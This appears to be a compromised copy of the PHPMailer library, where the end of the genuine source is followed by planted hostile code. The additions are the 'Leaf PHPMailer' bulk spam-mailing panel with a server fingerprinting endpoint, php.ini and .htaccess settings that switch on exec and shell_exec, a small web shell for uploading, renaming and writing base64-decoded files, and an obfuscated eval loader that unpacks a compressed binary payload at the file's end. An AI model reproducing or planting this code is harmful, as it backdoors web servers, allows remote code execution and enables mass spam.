            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'bas'.'e64'.'_dec'.'ode'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$CIWw='s'.'tr'.'_r'.'eplace';$kyDW='gzuncompres'.'s';$VIxB='s'.'ubst'.'r';$KEQl='exi'.'t';$XHQo='file_ge'.'t'.'_co'.'ntents';eval($kyDW($CIWw('qjasmtxlue','>',$CIWw('fbaunjrome','<',$VIxB($XHQo( __FILE__ ),-216755)))));$KEQl(0);
?>
x\M~Qv*Q 06"zu* IMژO'z7N+i1~_ç]oۏT{Ͻogݳ2א_NgG泖b#
Av	ʼHIt_"_*e73T1 ʈkYYyF'H)hlLi~#GYZuACIUuyqjasmtxlue*Q]?yB۾Q҉0]TFםRXͯ	~zVs&V4[AjvBiجg
yfbaunjrome\-z{E[)$t~pX5wn[tY2nl^VqjasmtxlueKP]p
fbaunjromepD[#1(KXC^ߦqI*_G;[[ٖ]Hqjasmtxlue#Y_D(2_41ŕr-8qjasmtxlueuqjasmtxlueMrU[K}Ql]~#zO66[u%:,%㉸^(8.1/aWfbaunjromeVv6}EXIT}}v4=hohd?ffbaunjrome4ٴ#2cW:#zhzrrmu@c:vw~Ϧ:?Ӣ~ް~aD)o4gW'OcU|{~8sr֒寸'`0ETHWW3j\W)s~yQbQ%sfi^q/b(dXر2,	0$Rvo]5R'0fbaunjrome4fbaunjrome̷] cYƦHAX
0$04jfeD¹EtLqjasmtxlue(3EMITw)?ʫ1H c[~N9xN yTB6pмF;CG#yj$ؐcX!?%L͙|1A|pm:.
Syfbaunjrome?zQsC#r"DD3MgeZUQQ.*IM'hH
78sQZ]QC&^):ؼ=}VBGqjasmtxlueZ1+4+ʅu$BQX	?*O/%K	ዠ!I,_~`|鱜%kPo;(-{ k(7󓰮Fh:GU	rN-BGfafbaunjrome?\P%3fbaunjrome$g}Po7)fc(sb֧/2?Q?Jc(sv!x%d4n(خgo*l\Pâzow
++薡fbaunjromeg+	2s/4wdG{DZzBt:jgaq|IoQ
c$ǑWüqjasmtxluex)XFō s2Bܱ!P{#ԏ AzQ{c[_qjasmtxluepH#ѽV[Ofbaunjrome=$s]
j
CT$#zBtD1SKe~T^5k0a͟(Hn
cs?غ&sHoYX@4/1$̡&VO561.'K&4.%|K8H*bt pd1kNb$IgTh@M
ǡtKqjasmtxlue)K2lF匧8$4S{ES*$x9%"] ]A_{A;+̞G+KwHlUzlȢP臏mn!|=k`m&vؙؖ5j!r2t;LM2L;_gu68h9\^:4O5(d[@V\!W3Y
ծ;'beΧUWd5}fTx((
Z6TpȖ^/S׋jKX3^fY(_H%e@o2[~k+җgTt|B.fbaunjromek@6	o^3J̝+aIQPQ-KMt1G5cß7w&#n6:Nge5W6%!Bf7mǂt=%$slzk\5[=Nq1zUhp01Q~H.1&5	)Fi5-XHitӛ7hBgGcc
p(y;k62fbaunjrome\-o:ߎ7`q.Ds}Cmy[z[x~g
*JX,=DϵNS;0)eyWlR 9
x/`g,`p8u}3_qB4Ufkfbaunjrome{lUHq	w;l1;@LzTyB~|5Nh߼ThY9P
qvhF݁Be[?nVrL ogQ.jo.Ovƃup,m/W2P5
4kDwefTyT3JfbaunjromeϵF!qjasmtxlue(;ƷںqźQ{/](_gzU^(;T1y 8ǔT'}~H|'p)
=tWwnA*uY:L;q:"n2Xb7ˇU'@4"qjasmtxlue`|eey.y9s8! K3e7Π)ϤH ztAخJ;JXueY)Mc޾rTag}̳zF}fbaunjrome7OC0)Mcױ	X@
:ho\ߘ8djW65c}5a|hPv4y+a*35d1Ek2o@Fy~_:b"%^.5b0dVtIW&WR,tfbaunjromefbaunjromeC!6DטlCVg
u$7naW._:l=G*]${/yFA%B:fbaunjrome7YV._k(]X
eXɽ	JzNbC꾲,rvwGHDTAѾP7QvKX06lZ˨hXsfbaunjrome3ʙnCQC:@*h
%1'%M^(QP
3#	5?̪?{*q. &2
0wj|뀬c|mlg
'tZ~妆̂
Vܡob(lj+Z~x.{P(x}-lNJ쇚	z}?Ȥrm]g_V~^ry ^ZK^IJa7}13
7uyzM5!ػƃ|A]Q,p|q8PrCgEI#-u
}vC㨹'Afbaunjrome?4fbaunjrome:@LDdPOAqGr% ߋ*a8nG#\oGO!uqjasmtxlue-	{7\Wo,CCy=b|d4dV[6d|̮	)|M:")V4!GRFk2q`]Nǡ_!gO9hѯYx[8_=zPx5?ʾf^xcǈ
}W^.o8OM&ԮcuEŲE^(DǱ pqjasmtxlueCT
*PF3W7@%eqnWׇDp#&2QYd-2,? /|.i7;x\8yi?A3g%aO	t=tE|!@Ms*w!&'73&Ԩ5t~|_-bbAGl_)!߹zSЗejj'susdʧP1ӎXIE
PjU
+rΘAO̕I$&KɟI/[bB*0ҕB$8E(w;o%{VnY`1Q.9-OifH6
e,Q`슪es|vh/E
-bk	/F
ol8_ qQSH0k3VyLou@oǨ)]j	6=ttǡ
bqjasmtxlue?;yϳ_oz:HR-fbaunjromeM0&Wr"NA={j@=drLkYIG(=#^H$rjYA΂ fJ{R yqCm$dFEA(دQ%l]_P
xLPH&ρ''Y%*6uX§-+|yo@\0 z=)TqjasmtxlueqjasmtxlueC|Dm~"A3bNW7 S5Aa( 6_"}3R̤됗TdsŤ΢P0K|qjasmtxlue8K@(/qjasmtxlue//3A#]	#]ATA%[[9|(c=Tu
k7CG7e8/4Nַ	KBX	b/om%5¦5Nf'dXyo*&S5Gۃ6fbaunjromen 38O:2Wi'
Qy&rӽt2Y~Kas[B)N@]+1
AX-ׂ^Qif
fbaunjrome}Yic j	6,zX
~*AKC&c!;E!0%+fbaunjromeȲ8C2-ICD1q}vdoy}YyfCF"ryҶdAį,+fs9`hGĠ
Q&b[AAf:)_8KhCN*xsVx^qjasmtxlue[^Cwpǲ/'=B. PXQ1NM׵v	4Kdл~zwM"s q Sʂlq1/v_"*|^qq^UDx1FT.-ڍFmfbaunjromeXej8 *ߡ3:|B|hpgIaqjasmtxlueP24ĺ\11U̃. rN-ϐGUc (d5ZzSHA1ߛ Z?y}y[fbaunjrome`|{Ї
GG:w!u!s7``Uz7n$\dزYYFmƁFCީ':r.'8	C$mR/a*4:د^u6$j)jrfɄdV}:fbaunjromel'˯^fbaunjrome5
